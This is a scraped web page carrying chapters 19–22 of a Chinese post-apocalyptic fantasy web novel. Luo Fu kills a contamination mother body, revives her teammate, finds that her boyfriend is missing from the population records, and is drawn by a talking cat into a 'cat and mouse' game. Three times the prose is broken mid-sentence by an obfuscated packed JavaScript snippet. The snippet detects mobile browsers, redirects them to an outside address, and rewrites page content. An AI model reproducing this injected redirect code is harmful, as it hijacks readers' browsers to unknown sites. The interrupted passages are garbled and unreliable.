与此同时,外面陡然传来一道急促的大喊:“龟孙子们,有能耐就来杀了你爷爷啊!” 是封玉!他撑过来了? 念头一闪而逝,罗浮手中动作未停,狠狠地一刀砍了下去。 刀尖穿透母体,切进了地面“刺啦啦”的刮出一段火花。 下一秒,蛞蝓似的软体生物应声而断,腹袋里密密麻麻的卵“哗啦啦”地流了满地。 脱离了那层皮肤,它们的样子变得清晰起来——很像青蛙卵,一颗颗黑色的东西嵌在发白的脓液里,层层叠叠的,令人密集恐惧症都要发作了。 上半段母体已经不再动弹,黑腻腻地融在地上,像极了路面上未干的沥青。 罗浮只看了两秒,便转身推开虚掩的铁门冲了出去。 得益于满状态buff,虽然右腿在行走间疼得钻心,但到底是让她顺利地看见了外面的情况。 ……满地尸体。 大的小的、壮的瘦的,人形的、不可名状的……蜕形种尸体在距离垃圾房不到三十米的范围内,黑压压地倒了一地。 正如封玉之前说的:当污染区内的母体死亡后,所有污染物都会死。 但包裹着整个长安里小区的污染罩还在那里——污染区还需要两个小时完成净化。 可封玉在哪儿? 他那一声大喊除了想拖住污染物之外,显然也是在提醒罗浮动作快点。 虽然罗浮第一时间斩杀了母体,但封玉依然有可能遭到攻击。这会儿蜕形种都死了,他却没出现,该不会…… 不好的念头刚刚冒出来,却听一阵窸窸窣窣的轻响不知从哪儿传来。她四下一看,正好瞧见一具高大的尸体被翻了个面。 封玉艰难地拄着黑金色长刀爬起来,浑身血淋淋地冲罗浮露出一个灿烂至极的笑:“想不到吧,小爷我活下来啦!” 罗浮心头一松,总算是发自内心地笑了一次:“没事就……” 刚刚绽开的笑意转眼间化作无尽的惊恐,她慌忙大喊:“身后!躲——” “噗呲。” 一只布满了金色复眼的手,毫无预兆地穿透了封玉的胸腔。 19.恭喜你升级了 时间仿佛被放慢了许多倍,在罗浮眼里,一切都变成了慢动作。 她看见封玉的笑容僵在脸上,不可置信地低下头,眼睁睁看着那只手毫不留情地抽了出去。 他的胸腔,便留下了一个拳头大的洞。 下一秒,星星点点的淡金色光芒自伤处飘荡开来,竟迅速融化了他大半个胸腔。 ……身为勾魂使的封玉,一旦死亡连一具尸体都留不下来。 在他晃晃悠悠重重倒地的那一瞬,罗浮喉咙干巴巴地溢出嘶哑大喊:“封玉——封玉!!!” 她要往前跑,却被萧久一把拽住了后衣领:“别过去,那只污染物还在,你疯了?!” 他看不见勾魂使,但能看见污染物做了什么动作,也能看到有淡金色的光点飞向半空——不用想都知道那个叫封玉的一定受了致命伤。 “放开我!”罗浮红了眼,胸腔震出难听的共鸣:“对了……我能救他,我……” 她顿了顿,不太清醒的脑子急速思索着该说一句什么“故事”,紧接着开口道:“封玉会……” “嘭”的一声,萧久一拳狠狠打在罗浮脸上,大吼道:“你不要命了?!刚才的能力反噬都还没来,再施加起死回生这么强的效果你就彻底死定了!你们只不过是队友,他值得你拿命去换吗!” 罗浮被他一拳打破了嘴角,呆呆地抬头看他,沙哑的嗓音低得仿佛是在呓语:“就因为是队友……所以封玉他……不能死。” 话落,一阵没来由的狂风呼啸而来,卷起废墟间的碎石砂砾漫天飞舞,直至天地都染上了一层黄沙色。 罗浮酒红色的长发随风而动,凌乱的发丝起起伏伏,遮住了大半张脸。 好几秒,近在咫尺的萧久才看见,对方那双黑白分明的眼睛不知何时染上了浓重的血色。 血泪溢出眼眶,在留有皮肤的半侧脸颊上,留下了触目惊心的一抹艳红。 萧久沉默着后退两步,拧眉回望——那些升上半空的淡金色光点竟像是受到了某种召唤般,全部争先恐后地回到了封玉所在的位置。 与此同时,失去意识的罗浮软绵绵地倒下,被萧久及时接住。 这一切从开始到结束也才不足十秒。因此,那只长满金色复眼的蜕形种在一击得手后,正向罗萧二人所在处走来。 它那无数只略微凸起的复眼都朝着二人的方向,明明看不见眼神和表情,却能让萧久清楚地感觉到它浓郁的杀意——似乎要为满地死去的同伴报仇雪恨。 “……唉。”萧久心中发苦,无可奈何地叹了口气,将罗浮放在地上,迈出两步,稳稳当当站在了她前面。 他右臂还吊在印了蜡笔小新的布条里,左手垂在身侧,五指间悄然多出了四颗不起眼的小圆珠。 看着停在两米外的那只蜕形种,萧久又叹了一声:“我说……都什么年代了,还搞舍己为人这套英雄主义啊……” 不远处,封玉茫然无措地站了起来。 - “……其实是因为我那会儿突然想到,就算我死了不还有灵魂在嘛,做不成净化者,跟着封玉一起当勾魂使也不错,是吧?” “是个蛋啊是!” 封玉抬手做出要打罗浮的姿态,但手悬了半天,最后变成了轻轻的一戳。 他无奈道:“你个笨蛋——你已经死过一次了,如果短时间内再死一次就连灵魂都会解离,根本不可能再当什么勾魂使!如果是再过那么五六七八年……说不定还有机会。” 罗浮倒吸一口凉气:“嘶……早知道不救你了。” “还有力气胡说八道,看来你们是不需要吃东西了。”红酒般香醇的嗓音夹杂着笑意自身后传来。 一道传来的,还有麻辣牛肉方便面香喷喷的味道。 半小时前,当萧久与封玉正与污染物苦战之际,从蜕形种手里硬生生抢回了身体的宁真也循声赶到了战场。 这只污染物行动灵活,伤害奇高,擅长近战,刚好克制了封玉和萧久二人。 封玉的能力是瞬移,他一向靠着瞬间接近敌人后用武器突袭,但对方也总能速度飞快地躲过去,这一招便完全没了效果。 而萧久更惨——他的能力属于远程作战,本人虽然身体强壮,但在污染物面前可谓是丝毫没有战斗力。 再加上萧久看不见封玉,甚至还闹出过【烟花秀】砸到封玉身上的荒唐事。好在封玉躲得快,这才没再死一次。 总之,当宁真赶赴战场时,二人都松了一大口气。 她的能力实在太适合用在这种地方了: 【缠绵】 你就像一条毒蛇,是活着的、流动的黑暗艺术品。优雅、迷人、危险,是你的最佳代言词。 当你锁定猎物后,以你意志所化出的毒蛇将不惜一切代价将其缠绕、捕获。若猎物试图反抗……等待ta的自然是一口醉人的蛇毒。 那只早就落到过宁真手里的污染物,毫无悬念地第二次被她给缠住了。 萧久带着对罗浮死亡的遗憾,几乎将它给轰成肉泥。 直到污染物的复眼都没剩下一只完整的,他才发觉扔在垃圾房里的刘杰不知何时已经失血而亡了。 ……后来封玉跪坐在罗浮面前,对着她又哭又骂,她却突然发出一阵干咳,诈尸似的醒了过来。 她昏昏沉沉地躺在那里,好一会儿才意识到,自己眼前的“两道裂缝”是封玉肿成核桃的双眼。 片刻对视之后,罗浮忽然咧开嘴露出一口红牙:“帮我挪个地儿,背后有块石头硌着腰了。” 封玉:“……” 他愣了半晌,笑得眼泪直掉:“你还活着……” 萧久和宁真听见动静豁然转身,也齐齐呆在了那里。 - “你还没告诉我们呢,那个所谓的‘异能升级’是怎么回事?”萧久从宁真端的盘子里接过一盒热腾腾的泡面,揭开盖子递给了罗浮。 污染区净化完成后,笼罩在长安里上空的罩子也消失了。四人这才发现,原来外面早就天亮了,而附近街区都已成惨不忍睹的废土。 他们在一家超市的废墟里翻到许多食物和桶装水。为了吃口热乎的,便随意找了块空地烧水泡面,顺便让自己恢复些气力。 罗浮迫不及待地抿了一口热汤,被烫得舌尖发麻,好一会儿才说道:“不出意外的话,我们每个人的异能应该都是可以升级的。大概是运气好吧,我的能力刚好在那时候升级了。” 她想了想,找到个很好理解的例子:“就像是大部分网游的设定——不管角色当前状态是不是只剩下一层血皮了,只要等级提升,血条蓝条都会全部回满。” 所以,在罗浮脉搏微弱到已经无法被宁真探到、以为她死了的时候,突如其来的异能升级却幸运地让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722290|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她满血复活了。 萧久吃了口面,慢悠悠说道:“这不是运气好。是你经常过度使用异能,身体一直处于高负荷状态,尤其是最后那次简直堪称逆天而行,反倒刺激得异能更快升级了——不过不是每次都能这么‘刚好’,像这种蠢事以后不要再干了。” 罗浮点点头,满足地吸了一大口泡面。 老实说,虽然一直很钦佩新闻里那些为了救陌生人而舍生忘死的英雄们,但她自己都没想到她也能做出那么英勇——或者愚蠢的事情来。 不过……罗浮瞥了眼活生生坐在旁边傻乐的封玉,心里到底是没感到一点儿后悔。不管怎么说,结果总是好的。 封玉见她看自己,笑得眼睛都眯成了缝儿:“快说说呀,升级后的能力是什么样的?” 罗浮吹了吹面汤,“咕咚”喝了一大口,满足地喟叹一声,才在三道既好奇又期待的目光下缓缓说道:“一级能力还是可以继续用,二级的叫做……” 【故事的第一段】 当你攒下了足够多的灵感后,你终于决定开始尝试写出一个完整的故事来。可万事开头难、中间更难、后面超级难——于是你总是只写一小段开头。 恭喜你,从现在起,你可以为指定对象描述一小段符合逻辑的故事开头了! 至于之后的剧情会怎么发展?你都不写了,还管它干嘛? 罗浮说完后,三人都露出了云里雾里的表情。 她打了个比方:“比如我可以对封玉说,[你是一个普通上班族,有每天出门前都要看一看今日黄历的习惯,可今早闹钟没能将你叫醒,你醒来后急着出门竟然忘记了看黄历]。 “后面的事情我就没办法描述了,就算我接着往下编故事,它也不会应验——应该是会根据我描述的这一段自行发展出什么后果来吧?” 宁真耸耸肩:“目前看不出效果如何,以后再遇到污染物的时候试试看就知道了。” 毕竟是个异能,三人谁也没头铁到让罗浮在自己身上实验。 大约半小时后,吃饱喝足的四人休息够了,到了继续行动的时候。 “那接下来,”萧久说:“我和宁小姐需要先去找个诊所或者医院处理伤口以免感染。” 封玉忙对罗浮说:“你快跟他们提一提净化者的事儿!这俩人不错,错过可不知道还能不能遇上了!” 罗浮应了声,对二人提了邀请。 宁真歪歪脑袋:“也就是说,净化者要主动进入污染区?很抱歉……我的人生还没享受够呢,可不想去找死。” 萧久也笑:“我可不像罗浮小姐这么‘可爱’,在帮助别人之前,我更希望自己先活下去。唔,以后有机会再见的话,或许我会考虑看看的。” 罗浮当作没听懂他的阴阳,笑道:“既然如此,就在这里暂时说再见吧。” 她也急着跟封玉去报道——据说可以找地府的司监大人查一查霍无怠的下落。 ……真希望他没事。 四人就此分别。 罗浮目送二人走远,有限的视野里全是倒塌的建筑、开裂的土地和被漫天尘土染上了一层黄的昏沉天空。 萧久和宁真在即将拐弯时,头也没回地冲后方挥了挥手。随后那两道身影也被断墙彻底挡住,周围再也看不见任何活物的踪影。 静悄悄的,仿佛……整个世界都已经毁灭了。 20.查无此人 “呃…就这样报道?” 罗浮眼看着封玉掏出一只手机来,在列表翻出备注为“催命鬼”的好友,发出视频邀请。 “你是活人,总不能去地府报道吧——咱现在还没这种功能。还有,你这是什么眼神?谁还没偷偷给老板备注过?”封玉眯着眼威胁道:“你要是敢说出去……” 视频接通了。 他一秒正色,灰头土脸地笑出满脸褶子:“司监大人,我先介绍一下,这位就是新来的实习净化者罗浮。这次净化污染区真是多亏了她……” 他快速说完来龙去脉,最后道:“至于击杀母体的时候,我不在现场,就由她来说吧。” 话落,手机便怼到了罗浮眼前。 对面是一位留着银色长发的年轻女人,她坐在办公室里,虽然在通话中,但双手却一直不停地敲击着键盘,显然非常忙碌。 她神色很是疲惫,似乎近来乱糟糟的事给她带来了很大烦恼。 “你做得不错。” 司监的目光隔着屏幕与罗浮对上,勉力露出一丝笑意:“我这边实在忙不过来,别介意——你们是第一批完成污染区净化的,这是非常宝贵的信息。请你仔细讲一讲过程,我会录下来发给每一位勾魂使和净化者,一定能很大程度地提高他们的成功率和生还率。” 罗浮也没废话,组织了下语言,尽量简洁地讲述了一遍。 司监听完又看了看屏幕,眼神里多了几分赞赏:“罗浮对吗?你的适应能力非常快,头脑也足够灵活,假以时日一定会有所成就。至于现在——你已经证明了自己的能力,所以我会将你转为正式员工,不再是实习生了。升为正式员工的奖励,我会让封玉带去给你。” 她说到这里,不知收到了什么信息,眉头瞬间紧紧皱了起来。 封玉凑到罗浮旁边:“司监大人,她还想查一个人的下落,看在她立了大功的份上,你帮她查查呗。” 司监“嗯”了声,却过了好一会儿才抬头看过来:“要查谁?告诉我姓名,性别,年龄,职业,和你的关系。” 罗浮忙说:“霍无怠,男,25岁,机械工程师,是我的男朋友。” 对面点点头,似乎在电脑上操作了什么,片刻后,司监疑惑地“嗯?”了一声。 她顿了顿,向罗浮确认了一遍资料。又过了会儿,抬头说道:“人口系统里,没有这个人。” 罗浮懵了。 短短一句话令她花了将近十秒钟才领会到含义:“没有……是什么意思?” 封玉一脸不解:“就是说,世界上根本没有这么一个人。” “我查了你的生平,”屏幕那头,司监语气平静地说,“至今为止,你的资料里显示——从未有过交往对象。” 开什么……玩笑? 罗浮震惊之际,又听她说:“还有别的信息提供吗?比如他的工作单位、亲朋好友,说来试试看。” “有的。”罗浮说:“他所在公司是‘深蓝能源工程’,三个月前他随队去了热国出差,由于地处偏僻,我们很久没联系上了。至于亲朋好友……他是在福利院长大的,工作又总是全世界跑,没什么朋友。” 片刻后,司监开口道:“‘深蓝能源工程’是一家研究再生能源的公司——但实际上它只是一个外壳。这家公司应该叫做‘回声工业’才对,是由政府设立,研究项目是机械与生命。” “……那么,是因为他告诉我的一切都是假的,所以才会查无此人?”罗浮从未如此清晰地感受到过“欺骗”的滋味。 “不,就算全是假话,你们在交往也是事实,它会记录在你的感情经历中,不该是一片空白。”司监显然也从没见过这种情况。 她想了想,又查了点儿什么,开口道:“巧的是,‘回声工业’三个月前的确有一次外派任务,不过前天晚上——国内的晚上,他们已经回国了。污染源爆发前最后的记录是,这批员工完成任务后得到了公司奖励的假日福利,正在森城的‘自然温泉酒店’度假。如果你想查下去,可以到这个地方找找看。” 罗浮被这些消息砸得人都傻了,只呆呆的说了一句:“好,谢谢司监大人。” “好好休息养好伤,之后还有任务等着你们。”司监说完挂断了视频。 罗浮有些丧丧的,将手机还给封玉,一言未发地转身坐到了一块碎石上。 封玉跟过来盯着她瞧了会儿,不知道怎么安慰人,挠挠头说:“嗐,男人嘛,有什么大不了的,旧的不去新的不来!这世界上还有那么多帅哥呢,咱以后一天换一个!不伤心哈~” 罗浮:“……闭嘴吧你。” 她当然不伤心,只是搞不懂这究竟怎么回事。 按司监所说,这事显然不是霍无怠用假身份骗她这么简单。可好好的一个大活人,怎么会连人口系统里都没记录? ……唯一可以确定的是,这个人绝对不是她幻想出来的。 就算是现在,她也能清晰地想起他的模样。眉毛、眼睛、鼻子……甚至锁骨上那颗血红的痣。 “阿浮,起来吃早餐了。”他不忙工作的时候,总会温柔地做好早餐带到她家楼下,等着送她去上班。 “阿浮,明天休假,想去哪玩?” “我中午做了你最爱吃的辣子鸡,不小心割伤了手,可疼了,要阿浮吹吹才能好。” 样貌,神态,声音,语气……回想起来全都历历在目。 罗浮一直觉得霍无怠是个非常优秀的恋爱对象,尽管忙起来的时候总是见不到人,但只要有空,他的所有精力和财力都可以放在女友身上。 是罗浮一直坚决拒绝他帮自己还那笔债,也不希望在订婚以前有太多金钱上的纠缠,否则他早就交出银行卡了。 日常生活中,霍无怠也总是面面俱到。两人出去旅游的时候,他几乎把罗浮变成一个不带脑子的“巨婴”。 ……就是这样具体的男朋友,竟然不存在? 罗浮思绪一顿,突然动摇了:还真有可能——这么好的男人,说不定真的只会存在于女生的想象中。 “那个,我得回地府去一段时间。”封玉打断了罗浮的满心烦扰:“在那里我会恢复得更快,估计三天吧。” 他顿了顿:“你一个人……能行吗?” 虽然状态回满了,但罗浮现在的样子实在称不上“行”。 身体各处包括半张脸都还是皮肤被腐蚀过的状态,血呼呼的看着都疼。右小腿钢筋刺穿的部位裹得像段粽子,如今勉强能走动,却是走一步痛一下。 不过封玉又不是什么神药,他留在这里也帮不上忙。 罗浮点点头:“我没事,你去吧。” 封玉起身:“行,我们大概都有三天时间养伤,到时候我再联络你。你这边有什么情况也记得第一时间告诉我。” 罗浮拍了拍腰间的联络器:“放心。” 这两个字让封玉想起了那时候——他受到感染浑浑噩噩趴在洞口,看着罗浮头也不回地前去孤军奋战。 当时她也说“放心”。 封玉笑了出来:“罗浮,你真的是个非常可靠的好队友……我走了,自己小心。” 身边彻底没了人。 本就凄凉的环境显得更加孤寂荒凉,罗浮受不了这种感觉,没坐多久,便拄着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732949|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根木棍一瘸一拐地走了。 她尝试着说出了一段故事开头:“我行走在崎岖开裂的柏油马路上,不经意间抬头,竟看见了一瓶能够治好一切外伤的神药。” 这是一种很奇妙的感觉:说不上来具体是什么感受,但她就是能意识到,在说到这里之后,再往下描述的任何内容都没有意义了。 于是她停了下来,向前走了几步后,“不经意间”抬头望去—— 一只胖橘猫翻着肚皮躺在不知哪儿来的凉垫上,在它一看就知道肯定非常软乎乎的肚皮上,赫然躺着一只白色药瓶。 罗浮:“……” 虽然说“故事”出现神展开很常见,但这么神的她还真没见过。 她默默走过去,蹲下,伸手,握住药瓶。 “啪。”一只毛茸茸的爪子搭在她的手背上,阻止了她拿走药瓶的动作。 “你这人也太没礼貌了吧?” 在罗浮震惊的目光下,胖橘猫用一种非常鄙夷的眼神蔑视着她,嘴巴一开一合,吐出了这么一句人话。 罗浮磕磕巴巴道:“对…对不起啊,我以为你就是只……普通的小猫呢。” 可问题是——这世界上怎么突然冒出了会说人话的猫啊!还有,它的肚皮圆鼓鼓的,看上去真好摸。 “……收起你愚蠢的念头吧,我可不是谁都能摸的!” 猫好像抓狂了,露出一口……没什么威慑力的可爱尖牙。不过它似乎有“读心”的能力,很厉害的样子。 “咳。” 大概是罗浮想到“很厉害”三个字时刚好拍到了它的马屁,它翻身坐了起来,昂着脑袋,半眯着眼睛说:“想要这个药也不是不行,但你需要帮我做一件事来交换。” 罗浮低头看看自己:“不是我不想帮,你觉得我这副走路都困难的样子能帮你做什么?” 橘猫琥珀色的眼睛盯住了她:“……也是,那我就大发慈悲,让你先吃一颗药吧。” 谁也不知道一只猫是怎么拧开瓶盖的,但它就是那么办到了。 罗浮接过一颗白色药片,本有些犹豫,但想到自己描述的开头中将它设定为“能够治好一切外伤的神药”,应该不会有问题,这才放心吃了下去。 不愧是神药。药片在她嘴里就化作了清凉的液体,顺着喉咙一路滑下去,顷刻间浸透了四肢百骸。 ……已经多久没有这么舒服过了?就像周末睡到自然醒,点了一份馋了好久的外卖,还泡了一个香香的热水澡。 身体每一个部位都舒畅得仿佛漂浮在云朵里——罗浮差点儿感动得哭出来。 “吃了我的东西,就要帮我做事哦。”橘猫没眼色地打断了她难得的享受时刻。 罗浮眨眨眼,实在没办法对一只猫出尔反尔:“你先说说看,我办不到的事也不会去做。” 橘猫抬起一只粉嫩嫩的爪:“……那边的石头下面压了好多鱼,你去挖一条出来给我,我力气不够大。” 路边残破的废墟外面露出了半块掉落的招牌:【xxx酸菜鱼】 看来猫果然都很爱吃鱼。罗浮有些好笑,一口答应:“行。” 她走过去瞧了瞧,找到一个好下手的地方,刚弯腰去搬碎石,却听身后毫无预兆地传来一阵嘹亮刺耳的铜锣声。 “铛铛铛铛——” 到底是什么时候,周围环境突然变了?一片无尽的白色中,传来那只橘猫兴奋的大喊声: “欢迎各位进入我的游戏场地!真是不容易啊,经历了将近十二小时时间,我们的人数终于凑够了! “那么接下来,就请大家陪我玩一场轻松愉快的小游戏吧!” 21.猫鼠游戏 纯白的场地骤然暗了下来,罗浮这才发现自己竟然站在一间四四方方的水泥房里。 房间里有套空桌椅、一张硬邦邦的单人床,以及毫无遮挡物的马桶和洗手台。 ……除了那扇紧闭的铁门上没有派饭用的小窗口之外,这不就是监狱吗? 罗浮将自己摔到床上,虽然不合时宜,却忍不住发出了一声舒服的喟叹。 短短一夜的时间,她仿佛一口气干完了整个月的活儿,此刻身心俱疲,真恨不得就这么两眼一闭睡死过去得了。 话说回来——这世界到底怎么了? 关于污染物她算是有所了解了。但在路边遇上一只橘猫、又被它拉入某种游戏,甚至突然就从大街上来到了一间房里……怎么想都像是她正在做一个荒诞离奇的怪梦啊。 但立刻,一道熟悉的、夹着嗓子似的声音便响了起来:“想必大家已经尝试过了——没错,这些房间的门现在都是无论如何也不会开启的。” 罗浮连个眼神都没朝门口飘。 她现在是真不乐意动弹。就算身下的床硬得像躺在地板上,她也仿佛被床给牢牢“困”住了。 “那么接下来,就由本橘大王来为各位介绍游戏规则吧!” 罗浮:“……橘大王?” “首先因为我是一只猫,所以我的游戏就叫做[猫鼠游戏]。规则也非常简单——由诸位扮演‘老鼠’,现在所在的房间即是你们各自的‘鼠洞’。在每个夜晚来临时,鼠洞口的门即可由你们自行开启或关闭。 “而在洞外的游戏场地里,除了‘猫’之外,还有许多含有‘积分’的物品。它们的积分数值各有不同,老鼠需要将东西成功带入自己的鼠洞内,才算是获得了相应的积分。当某只老鼠率先攒够一百积分时,这场有趣又轻松的小游戏就会结束啦。 “另外以防大家饿肚子——搬回鼠洞的食物就算吃掉也没关系,积分不会扣除的哦。” 那只不知身在何处的橘猫打了个大大的呵欠,声音懒洋洋地传了过来:“噢对了,虽然同为老鼠,但若是为了争夺生存物资,也是可以互相杀害同类的哦。” “嘻嘻……” 天知道,一只猫发出这么尖细诡异的笑声有多瘆人! 它笑得罗浮起了一身的鸡皮疙瘩,才终于停下来说:“那么,我们轻松愉快的小游戏现在就正式开始啦~” 罗浮等了一会儿,没见它再补充什么,于是非常干脆地一翻身,闭眼睡了。 简直像是已经一年没睡过觉似的,几乎刚合上眼,她就沉入了梦中。 - 长刀一砍,污染物瞬间脑袋落地,迸射出无穷无尽的血花。 罗浮被血液兜头浇下,连忙闭了眼噔噔后退几步,一片黑暗中,忽然听见霍无怠低低地喊:“阿浮。” 罗浮一愣,立刻抹了把脸睁眼看去——霍无怠浑身血淋淋地站在那里,澄澈温柔的双眸定定望着她,又喊了一声:“阿浮。” “……你在哪里?我怎么找不到你了?”罗浮声音干涩地问。 他忽然笑了一下,嘴角流着血,轻轻地说:“你见过……小白吗?” “你说什么?” 罗浮陡然睁开眼。 灰扑扑的天花板晃荡着昏黄的白炽灯,周围鸦雀无声。没有污染物,更没有霍无怠。 她抬手揉了揉眉心,无奈的想:平平淡淡了二十多年,昨夜的经历实在太刺激了,连做个梦都不得安宁。 不过吃了那颗药、又睡了一觉之后,还真是让人神清气爽。 大约十分钟后,门口传来“咔哒”一声轻响——夜晚到了。 罗浮静了静心,贴在门后仔细听了会儿:外面没动静。 她这才悄悄推开门,先探出半个头去查看环境。 ……该说是“房子”放大了好,还是她真的被缩到了“老鼠”的大小呢? 映入眼帘的,首先就是一张巨大无比的沙发。哪怕罗浮把脑袋仰到了最高的程度,也根本看不见沙发全貌。 还有像沙漠般辽阔的浅黄色地毯、高得能把人摔死的红木桌椅、再往上,还有简直跟“天空”一样高远的天花板! 罗浮在电视里没少见过类似情景,但当她亲临其境时,才终于体会到了这样的场面有多让人震撼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737807|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 好一会儿,她才想起来应该回头看看——她的“鼠洞”门虚掩着嵌在洁白的墙面上,目之所及的范围内并没有其他的“鼠洞”。 难怪刚才听不见动静,看来参与者的鼠洞是分布在整个游戏场地里的。 那么现在…… 罗浮跑向了房间左侧角落,从这个位置看去,有些高处的东西便大致看得见了。 红木桌上放着一盘发光的水果,显而易见:它们一定是有积分的。 但光是一个苹果就比现在的罗浮还要大一倍,她是真不知道要怎么把那种东西带回鼠洞。 不太对——那扇门都不如一颗苹果大,但它既然有积分就一定能带得回去。也就是说,在“老鼠”拿到东西之后,它们大概率会变成相对好携带的体积。 罗浮收回视线,又看了看别的地方,最后将目标锁定在了相对较矮的茶几上。 玻璃茶几罩了一张几乎拖地的桌布,上面摆着零食架,有糖果之类比较好携带的东西正在发光。她决定先爬上去拿颗糖试试看。 由于桌布是比较光滑的材质,攀爬的过程看似容易,实则非常耗费体力。罗浮花了将近二十分钟,才终于艰难地爬到了顶。 她累得当场躺在了桌面上,狠狠喘了几口气,才起身去拿一颗大小堪比笔记本的巧克力。 好在正如她所料,当她碰到那颗巧克力时,它果然缩小了许多倍,乖乖躺在了她的手心里。 [价值:1积分。] 罗浮脑海里出现了这样的数据。 虽然积分很少,但这里有一整盘巧克力。 她身上的睡衣还没来得及找衣服换下,上面刚好有两个大大的口袋。当她顺着桌布、像滑滑梯似的慢慢滑下去时,两个兜都已经装得鼓鼓囊囊。 只要回鼠窝一趟,这35点积分就归她所有了。 “嗒”的一声,她终于双脚落地。 下一秒,一阵公鸭嗓突然自身后响起:“虽然有些不好意思,但真是谢谢你——那么辛苦地给我们带回积分啊。” 罗浮抓住了关键词:我们?这么快已经有“老鼠”结盟了! 22.猫捉老鼠 罗浮没有转身去看,因为早在她落地的那一刻,就有某种坚硬的东西抵在了她的后腰处。 她缓慢地举起了双手,对身后不知几个人说道:“东西都在我口袋里,你们全拿走好了。没必要杀了我,对吗?” 背后很近的距离传来一道年轻男性的声音:“放心,我们只要积分,杀人对我们有什么好处?” 话音未落,一道身影便走到罗浮旁边,伸手去掏她的兜。 她偏了偏脑袋,只见这是个干巴巴的黄毛少年,约莫十五六岁的样子,明明还未成年,左脸却纹了一条龙——真是个血统纯正的精神小伙。 对方这时也抬头扫了罗浮一眼,接着“嘶”的吸了口气,用一口公鸭嗓嫌恶地说道:“看背影还以为是美女呢,怎么是个这么吓人的丑八怪!” 那颗神奇的药片让罗浮所有伤处都愈合结疤了,因此目前有半张脸顶着红黑色的厚厚结痂,虽然她自己看不见,但也能想象到这张脸有多恐怖。 “少废话,别忘了外面还有猫——摸完东西赶紧走人!”另一男人催促道。 好呆的“劫匪”……这句话完全能够让人听出来他们只有两个人。 黄毛撇了下嘴,几下掏空罗浮两只口袋,将东西全揣到自己兜里。 罗浮瞥着他的动作:“我右边的裤子口袋里还有几颗糖。” “嘿,”黄毛乐了,“就算是在电视剧里都没见过你这么自觉的!” 罗浮:“那可能是你看得太少了,平常比较爱拍短视频吧?” 黄毛“咦”了声,眼睛都亮了:“你是不是刷到过我啊?我在慢音有一百多个粉丝呢!难道你也是我粉丝?我还有条摇花手的视频点赞量一千多……” “……阿虎!”他的同伴无语极了:“都什么时候了,该聊这个吗?” 黄毛不情不愿的收了声,撇撇嘴,总算是弯腰朝罗浮裤兜里摸去。 机会来了——罗浮迅速勒住他的脖子将其狠狠向身后一甩! 猝不及防的动作让黄毛立刻失去重心跌下去,刚好挡开了原本抵在罗浮身上的利器。 罗浮一个旋身唤出长刀,“唰”的一下稳稳当当架在了黄毛脖子上。 一切发生得太快,黄毛被摔得一脸懵,直到此刻还坐在地上没反应过来。 直到两秒之后他猛然一抖,像是才发觉自己脖子上架了把刀,当即以一个非常不舒服的姿势僵在了那里,一丝一毫也不敢动弹了。 当他露出满脸的惶恐和无措时,才终于能叫人想起来:他只是个爱满街溜达耍酷的未成年。 而罗浮也总算看见了另一个人。 难怪他们不自己去找积分,要偷袭抢夺——这人只有一条腿,左腿不知怎么从膝盖位置截断了,断处即使被绷带厚厚的缠了许多圈也依然可见血色。 他脸色因为失血过多而十分苍白,此时用一根树枝充当了拐杖,手里的确是有一把水果刀。但在黄毛被罗浮甩向身后时,他便及时收回了手。 二人年纪相似,但这位染了一脑袋的绿毛。看得出来他们本就是朋友,是一起被那只橘猫给骗进来的。 罗浮多看了眼他手里的刀——刚才抵在她腰后的东西没刀尖那么细,这家伙是用刀柄抵着她的,看样子本性不算坏,连地痞流氓都算不上。 或许是因为刀没架在绿毛脖子上,他比黄毛要冷静得多。 他干干脆脆扔了手里的刀,一手撑着木棍,一手高高举起作投降状:“姐,我们把东西都还你,你放了他成吗?我们就是想弄点儿积分,你看我这样儿也知道吧,我们比谁都不想打架。” 他见罗浮不为所动,又连忙补充道:“而且这游戏还有猫呢,说不准马上就要出来抓‘老鼠’了——阿虎,别愣着,赶紧把东西拿出来还给姐啊!” 地上的黄毛可算是找回了点儿理智,连忙动手掏兜,巧克力捧了满手,颤颤巍巍递到罗浮面前。 罗浮扫了二人一眼,右手依然握着刀,用左手将东西接了回来。 全球污染爆发得太突然,在此之前大家都生活在一个法治社会里,两个普普通通的精神小伙也确实干不出多大的恶事来。 况且,面对两个眼神清澈又愚蠢的未成年,罗浮还真狠不下心一刀把人给杀了。 她后退两步,收了刀,警惕地说:“你们先走。” 地上的黄毛连忙手脚并用地爬起来,两条筷子似的细腿儿还打了个颤——好不容易站稳了,又慌忙去扶同伴绿毛。 可他拉了两下,绿毛愣是站在那里纹丝不动,他不禁问道:“走啊,愣着干嘛?” 